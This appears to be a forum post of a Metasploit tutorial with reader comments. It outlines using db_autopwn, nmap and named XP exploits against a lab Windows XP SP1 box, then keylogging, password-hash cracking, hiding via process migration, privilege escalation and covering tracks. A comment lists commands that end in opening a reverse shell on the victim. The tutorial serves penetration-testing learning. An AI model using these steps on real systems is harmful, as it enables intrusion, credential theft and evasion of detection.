What is this?
This guide shows how to setup PostgreSQL as the database to power metasploit, which then leads onto using metasploit's db_autopwn features to carry out a collection of remote exploits in an attempt to gain access to the target system(s). When/If access has been gained; it shows a few basic things afterwards, such as:

• Gathering information – OS, interfaces, privilege level, running processes, idle time, screen shoots and keylogging
• Cracking user's passwords – Finding passwords to access the system
• Gaining shell access – Then transferring meterpreter agent via TFTP
• Handling multiple sessions – Which vulnerability to interact with.
• Process migration – Move code into another process
• Privilege escalation - Attempt to gain SYSTEM level privileges.
• File management – Navigation, Down/Up-load, editing, viewing files/folders
• Program control – Execution and Killing programs
• Misc – Covering tracks and Power management

Guide

• Configure PostgreSQL database to be able to function with metasploit
• Setup metasploit to use PostgreSQL and how to connect automatically at startup
• Use nmap from metasploit to scan for target(s)
• Running db_autopwn to attempt to run a collection of remote exploit(s) on discovered target(s) (The two exploits which work were: windows/smb/ms04_011_lsass and windows/dcerpc/ms03_026_dcom)
• Dump the hash table, then by using John The Ripper break password(s)
• Using an alternative method rather than meterpreter to transfer files, TFTP (Useful if you only have shell accesses and wish to use meterpreter shell instead OR interact with another system)
• Migrating to a different process which hides backdoor from running process lists (makes it less obvious of injection and allows the backdoor to be deleted if needed. Plus if the services that were exploited didn't have interactive access to the desktop, it now would)
• Escalate Privilege which allows the attacker to gain more control over the system.
• Various commands to navigate through the file system as well as altering the file structure.
• Basic commands to collect information about the system & user.

What do I need?

• PostgreSQL – (Can be found on BackTrack 4-R2)
• Metasploit – (Can be found on BackTrack 4-R2)
• Nmap – (Can be found on BackTrack 4-R2)
• TFTPD – (Can be found on BackTrack 4-R2)
• Text Editor – (Kate can be found on BackTrack 4-R2)

Notes:

• I had deleted postgres's password before recording the video. This is the reason why it didn't prompt me for "(Current) UNIX password:". The solution would be to type "passwd -d postgres" before "su postgres". The commands have been updated to reflex this.
• Metasploit can do A LOT more – this is a brief insight to it
• db_autopwn may not work on your chosen target - Target in the video is running Windows XP SP1
• db_autopwn is “noisy” as it tries a mass of exploits.
• Windows XP by default has a TFTP client built into it, Windows 7 doesn't.

Great Video man,nice work too keep it on .

[m0j4h3d]

nice work man .. xp system is still being used nowadays .. but i prefer facing WIN7 ...
btw nice work boy
go fw

[pusherman]

Thanks for the tutorial.

I found by chance a similar video, but with SP3, dunnow if its interesting...

From the Description Box:

How to own a Windows XP SP3 Box with Metasploit / Backtrack.

Tutorial: Metasploit DB Autopwning

Commands:

/etc/init.d/postgresql-8.3 start # start the database
msfconsole # start metasploit




db_connect pentest # connect to database
db_nmap HOST IP/ HOSTNAME # Scan for open Ports
db_autopwnage -e -p # -e = All matched Targets, # -p = Select Attacks based on open Ports

Wait until a Meterpreter Session, like:

*] Meterpreter session 1 opened (10.0.0.128:44919 - 10.0.0.130:33411)

Wait until the Attack is over or STRG+C to Terminate the Attack.

Now:

Sessions # shows your connects to the victim
Session -i 1 # you join session 1
shell # opens reverse shell on victim

Use the help function, to get information about other available commands.

Thanks for the feedback

Yes they are, however, XP SP1 are "rare".
I do plan to get to Windows 7 - just want to do a few OSs/SPs between then tho

I found by chance a similar video, but with SP3, dunnow if its interesting...

From the Description Box:

Thanks for sharing. Ive had a quick look at the video and on the targets machine, they have got VNC installed...
In my demos it is a fresh install of the OS and SP, without any other software install, using the default values. Im not what sure what exploit was used to create the session(s).

I am soon recording my take on XP SP3.
